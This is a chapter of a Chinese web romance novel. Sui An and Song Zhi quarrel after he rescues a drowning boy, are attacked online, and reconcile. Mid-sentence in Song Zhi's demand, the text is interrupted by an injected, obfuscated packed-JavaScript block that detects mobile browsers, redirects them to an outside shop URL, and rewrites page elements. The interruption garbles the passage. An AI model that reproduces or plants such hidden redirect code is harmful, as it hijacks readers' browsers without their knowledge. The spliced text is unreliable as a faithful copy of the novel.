雎安不会游泳,第一时间拨了119,在她着急着交代信息的时候,她注意到有个蓝色身影在往岸边去。 是宋挚! 雎安往前冲,一把抓住了他的手肘,将信息交代清楚后,直接挂断了电话。 “如果你只是会游泳,未经过专业训练,是不建议下水救人的。”雎安说得又急又快,盈亮的双眼中透着呼之欲出的担忧和关切,“很危险!” 宋挚定定地看着雎安的眼睛,回头看了眼湖中那还在扑腾的男孩子,极其淡定地推开了雎安的手,“你放心,我有分寸。” 雎安眉头紧蹙,试图叫住他,“我叫了消防,很快就到!” 可宋挚却没有回应她,也没有上前,而是站在岸边的台阶上,看了眼着急上火的黑衣女人,重新将视线定格在男孩子的身上,慢慢地脱掉了蓝色上衣和鞋子。 直到男孩子失了力气,扑通不动了,黑衣女人哭喊得愈发急切,可周围却没有任何人帮忙,就在黑衣女人打算冲下去试一试的时候,看到一个男子果断下了水,一把拽住她孩子的脚踝,动作迅速地将她的孩子拉了上来。 这时候,她才意识到上前去接着她的孩子,赶忙给孩子做了人工呼吸。而这时,消防员和救护车都到了,接过她的孩子,做进一步的救援。 “你没事吧?”雎安急匆匆地冲到宋挚跟前,看着他那被打湿的头发不停地滴水,毫不犹豫地伸手抚摸他的脸,满脸心疼。 此刻的宋挚还喘着气,虽然他的救援动作快准狠,却要花上不少力气,他拿起被放置在岸边的蓝色上衣,刚准备套上身,却因为雎安的动作而愣在原地。 他看见自己的发梢在不断地滴水,水滴顺着她抚摸他脸颊的手滴落而下。他将视线下移,看到了一双饱含热泪的双眸,眸中细碎的水光宛如将金银揉碎了般耀眼,照亮了他逐渐黯淡的眼眸......和心。 他慌乱地别开视线,朝雎安示意,他们的身后有很多围观群众,而后,迅速地穿好了上衣和鞋子。 雎安在确信宋挚安然无恙后,理智终于回归,依照宋挚的提醒回身,在发现路边的围观群众少说都有二十几人,还有不少人举着手机在拍视频的时候,羞得脸和耳根迅速蹿红。 哪怕她回到了酒店,脸颊和耳根子都还在发热。 恰巧酒店前台还撞见了她和宋挚一起回客房,笑着和她们打招呼,询问雎安需不需要免费升房。雎安的注意力都在自己羞红的脸颊和湿身的宋挚身上,根本无心思考,直接拒绝了。 直到宋挚从洗手间里走了出来,狭小的房间限制了他的行动,雎安坐在桌前的小椅子上,他只能坐在床上了。 紧接着,就陷入了长久的沉默。 房间里,只有宋挚擦头发的声音,雎安实在耐不住安静,起身开电视,调了一个正在播放泰剧的地方台来缓和气氛。 然而,效果并不如她意。 在她的视线意外触到他的视线时,他迅速反制,将她的视线牢牢圈在他可探究的范围之内。 “昨天,他来过?”宋挚冷不丁的开口。 雎安还没反应过来,“谁?” 宋挚选择刻意沉默,有心看她装傻,看她能怎么应付过去。 雎安在他的逼视下,意识到了他口中的“他”是谁,以及,心里逐渐升起一阵不舒服的感觉。 所以,她也选择了刻意沉默。 宋挚最近本就情绪不稳,在感知到雎安的不满情绪,以及看到她刻意回避的行为后,他胸腔的那股怒火瞬间被点燃。 “被我说中了?”宋挚将擦头的毛巾扔在地上,走到雎安面前,高大的身型挡住了灯光,与之而来的阴影完全将雎安罩住,“我们六天前还在卿卿我我,你怎么可以这样?!” 雎安俯视着他,气势却丝毫不输,“那我能怎样?我需要破除危机,我需要查案,我一个人很危险。难道?我不可以找人帮我吗?” “所以,你就要让他到房间来?”宋挚双眼发红,气得不轻。 雎安却是一点也不怕,双手触着他的侧腰,在阴影中站了起来,“所以,你在以什么身份质问我?” “男朋友?” “前任?” “炮友?” “陌路人?” 宋挚咬紧了后槽牙,“一个被骗财骗色骗感情的人。” “骗感情?”雎安的眸中燃起了希望。 宋挚无情打断,“我本以为你会是我的恩人。” 片刻的沉默,雎安松开宋挚,直接倒在了床上,望着天花板问道:“所以,还有机会吗?” 她像是在自言自语,“要是有机会复合的话,就好了。” 宋挚却是不买账,“你该思考怎么补偿我?找其他办法就回我母亲,而不是只想着你自己。” 雎安叹了口气,“不是我不想帮,我自己的事是有眉目的,有努力的方向。但邓阿姨的事,我实在无从下手。” 宋挚却像是沉浸在了与她的爱恨情仇中,无法自拔,“那我会恨你一辈子。” 雎安沉默不语,鼻尖却是一酸。 宋挚无心注意她的反应,脑子里都是她和周浮沉纠缠在一起的画面,他看着窗外的树影,狠狠道:“限你在三天内, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826911|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把150万还给我。” “我不还。” “什么?!”兴许是没想到雎安会拒绝得如此干脆,宋挚惊讶得忘记了自己的愤怒,“你是什么意思?” “我不会还的,我要用这笔钱去享受人生。” 宋挚低头,终于注意到她眼角泛泪、情绪不佳的那刻,所有的狠话和质问都不攻自破。 他看着她发红的眼睛和脸颊,在妥协和拒绝间,选择了前者。 “随你,但我会让你付出代价的。” 在撂下一句狠话后,宋挚拿起自己的东西,推门而出,离开了酒店。 雎安不知道他说的代价是什么,她不感兴趣,也不害怕,因为她在当晚就付出了代价。 她失眠了。 直到凌晨三点,才进入了浅睡眠。 2023年6月29日,早上十一点。 雎安从睡梦中醒来,头脑昏沉得厉害,在起身洗漱后,想到今天没什么特别的安排,便开启运动模式,运动完后,吃了个午餐,又开始看考研的书籍。 以往她总觉得自己只有找到一份稳定的工作才有出路,如今,她有了保底的钱财,加上这段时间出去见了见世面,看了不少幸福和理财的书,了解了一些理财知识。 而今,她觉得世界无限大,并不用拘泥于所谓的“稳定”。 下午14点,兴许是高碳午餐发挥了作用,雎安开始犯困。于是,她起身活动了一番,准备刷刷手机,让自己的神经兴奋起来。 这时,手机就像是监控器一样,精准得跳出了十几条推荐新闻。 “小哥救人惹争议,是找准时机,还是磨磨唧唧?” 雎安何其敏锐,她和周浮沉曾被人议论了一周多,热度才降下去。 前几天,她走在路上,还有人背着她和朋友贴耳议论,虽然无法肯定是因为“韩剧氛围感画报”的报道,但要说概率,百分之九十六吧。 如今,轮到宋挚和她了。 这次,还是因为宋挚做好事,因为她担心宋挚救人会出事而阻拦了一次,因为宋挚不盲目下水救人,因为男孩子呛了几口水,因为她事后冲到宋挚面前担心他有事。 她和宋挚被污名成“矫情的小情侣”,被网暴了。 “妈呀,我都急死了,他两还在那卿卿我我,搁那演电视剧呢?” “这是故意让小孩喝点水吧,长点记性。” “这男孩真可怜,喝了不少水吧。” “这男的应该是等电视台来了再下水。” “可不能让这男的评上见义勇为。” “这叫救人啊,直接是杀人罪名成立。” 雎安越往下看,连气恼都没有了,而是满脸问号。不得不说,有的人根本不带脑子上网,亦或者,他们在生活中就没用过脑。 大脑,与他们而言,只是摆设。 雎安轻蔑一笑,像看傻子聚会,直接忽视居多的恶评,转而去看那些分析宋挚是在用脑子救人、看准时机下水的留言,还有人夸宋挚沉着冷静、为她的正常担忧反应被攻击而鸣不平。 雎安笑了,在心中默默感叹,可惜明事理的人太少了。 她直接用自己的大号,无视如潮水般涌来的恶意,为宋挚据理力争。 转眼间,来到了晚餐时间。 雎安抬头,感到后颈有些不适,便上下左右晃动放松,然而,不过是十几秒的放松,雎安的脑中生出莫名的不祥的预感来。 据她所知,宋挚这个阶段的情绪很不好,而她还撒谎失败、戳破了他的希望,虽然他说他不会轻易放弃,但他看起来很愤怒、很挣扎、很孤独。而她不仅伤害了他的心,还侵犯了他的身体。 突然间,雎安的预感很不好,像是有一阵寒流经过,让她止不住地发颤。 下一秒,她就冲出了房门,拦下一辆出租车,直奔嘉源公寓。 107. “来吧,阿挚~” 雎安顾不得太多,哪怕被堵在小区门外,得找周浮沉要密码,哪怕她本不该知道宋挚的住所地址,可她还是冲到了他的家门前,摁响了门铃。 没有回应。 她喘着气,转而改成用力敲击房门。 还是没有回应。 她慌了神,赶忙拿出手机,再次拨打宋挚的电话。 这回,她听见了清晰的铃声和脚步声,抬头一看,原来宋挚已经开了门,隔着门缝,露出一只眼睛,冷冷地看着她。 “你来做什么?” “你怎么知道我家在哪?” 雎安却是一句都不答,直接用手掌拍开大门,砰一声,吓得宋挚往后退了一步,她借此更为直观地看清了宋挚隽秀的脸庞上的泪痕。 没有思考,她张开双臂,上前抱住了他。 或许,她的拥抱并不能称之为“抱”,而是“箍”,她紧紧地拥着他,像是在他的身上加了道紧箍咒。 他本该排斥,本该觉得窒息,本该推开冒犯的她,可他却像是失了所有力气,先是提线木偶一样,喜欢被她支配,喜欢因她的牵制而带来的生动,他像是终于活了过来,因窒息感而有了呼吸的渴望。 “不关门吗?” 他问出了自己都感到吃惊的话。 雎安松开了他,开着门卿卿我我确实不好,想到要是被邻居看到,有损宋挚的名声,便回身将房门关上。 然而,就在房门被关上的那一刻,宋挚往前两步,俯身而下,高大的身躯像是一堵墙,将雎安笼罩了起来。 而今,雎安前有一堵墙,后有一堵墙,耳边还有宋挚的低语在诱惑她。 “是浮沉让你来的?怕我想不开?” 他明明都哭了,眼下还有几粒小珍珠,却非要装出一副狠厉无情的模样,说着冷酷无情的话,让她对着墙回应,堵着她,不让她再由拥着他的机会。 可雎安偏不! 既然空间狭小,她便踮脚,侧仰头,闭上眼,吻上他的唇。 她不觉得自己行事放荡,甚至觉得可惜,可惜她没什么经验,无法给他一个冲击灵魂的热吻。 可她不知道的是,仅仅是轻轻一触,于宋挚而言,就足以冲破他的理智,他也没什么经验,却选择将她拥入怀中,撬开了她的唇。 亦或是,根本没有选择。 “你是觉得身体接触是万能的吗?”宋挚站在床边,声音中带着愤懑。 雎安则坐在沙发上,抱着软乎乎的向日葵抱枕,嘟着唇道:“可你不回应我了吗?” “所以,你到底是来做什么的?” 宋挚又恢复到了冷酷的模样,仿佛刚刚和她一路吻进内室,又将她轻放在沙发上的人,不是他。 “难过了?伤心了?来找我寻求安慰?” 他总是这样,臆想她只会利用他。 雎安心里有些委屈,可又突然想起,自己确实利用了他,要不是一早被发现,她计划要狠狠地利用他、吃透他,叫他在清醒以后,像上瘾了一样,离不开她。 在决定不做传统意义上的好女孩的那一刻,她感到前所未有的畅快。而这份畅快,渗透到她的灵魂、她生活的方方面面。 “我是担心你。” 雎安拿出手机,没有打开他和她被网友讨伐的博文,也没有打开他的个人信息被公布在网上的帖子,而是打开了她为他发声、为他解释、为他和网友舌战群儒的页面。 代价就是,她的评论区和私信里装满了辱骂和诅咒,甚至有人翻出了她被汤尊爸妈欺负的视频,联系了起来,说她三心四意,说她被人盯上是罪有应得,因为她没有同理心,因为她没有爱心。 宋挚越是往下刷,手上便会不自觉地加上几分力,紧抿的嘴唇更是无声地表达着愤怒。 “你动了脑子,冒着风险,救回了小男孩,却被网友们这样误解。”雎安的声音里有道不尽的心疼,“我心疼你,担心你会因此失望、觉得这个世界很灰暗。” 宋挚嗤笑一声,“这个世界本来就很灰暗。” 闻言,雎安脑中警铃大作,她将抱枕放置一边,附和道:“你说得没错。” 宋挚迅速抬眸,明显是没想到雎安也这么觉得。 “这个世界是五彩斑斓、缤纷多彩的,灰暗是它的一部分。” 原来如此,说到底,又是那套世界很美好的理论。 宋挚轻勾唇角,表露出一丝不屑。 “宋挚,你看到我、还有力挺你的网友,难道不感动吗?”雎安站起身,直勾勾地看着他。 宋挚不答,却侧身靠在了墙上。 雎安不满,“你个蠢男人!” 宋挚被雎安的吼叫惊了一下,却仍然没有给出更多的反应。 雎安走到他面前,“你为什么会在意我和周浮沉?你刚刚问我是不是在找你安慰的时候,你是不是觉得是周浮沉伤了我?” 以雎安的姿态,其实是将宋挚困在了墙上,然而,因为身型和身高的差异,宋挚并没有感受到任何的压迫感。 他俯视着雎安,“是又怎样?你伤害了我,我不能看着你再伤害我的兄弟。” “你怎么知道是伤害?”雎安不服气,“而不是情投意合呢?” 宋挚松开抱胸的双手,一把环住雎安的腰,“情投意合?要是情投意合,你为什么会来我家,和我又亲又抱。” “是吗?”雎安的手攀上他的小臂,让自己显得更有气 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算吧,他的面上的泪痕、红唇上的破损,都让她又疼又爱。 “说。”雎安俯视着宋挚,看他像是吃了软骨散一般无力,“说你爱我。” “乖,说出来就好了,说出来心里就不难受了。” “只要说出来,就会有奖励。” 宋挚闭上眼,再睁眼时,眼中都是热泪,“雎安,这样很好玩吗?为什么要戏弄我?” 为什么非要在我难受的时候揭穿我? 这句话,他还是没能说出口。 他说不出口。 在他的心里,这句话一旦出了口,就和“我爱你”一样,意味着他无视欺骗和利用,意味着他纵容她用他母亲的事来为她自己谋利,于他而言,这和背叛生养他的母亲无异。 所以,在他看到雎安为他据理力争的证据时,明明感动得几近再次落泪,他却只是冷着脸,像是只要表露出一丝松动,就意味着背叛和放纵。 “阿挚,不要愧疚,是我逼你的。” 雎安爱惨了他破碎的模样,装置里的他已经很是稳重,他的包容和温柔,让她感受到了被理解和被看见的安全感,那是成熟男人的魅力。而此刻,他就像颗青涩的果子,像是压抑着自己的小恶魔,而她,只要胆子大,就可以探索出他隐晦的另一面。 这无疑刺激着她的神经。 雎安还没意识到,兴许她是先一步失去了理智。她的目标太诱人,让她说出了惊世骇俗的话。 “来吧,阿挚~” 她将手放在他的衣领处,只等时机一到........ “你会得到救赎的。”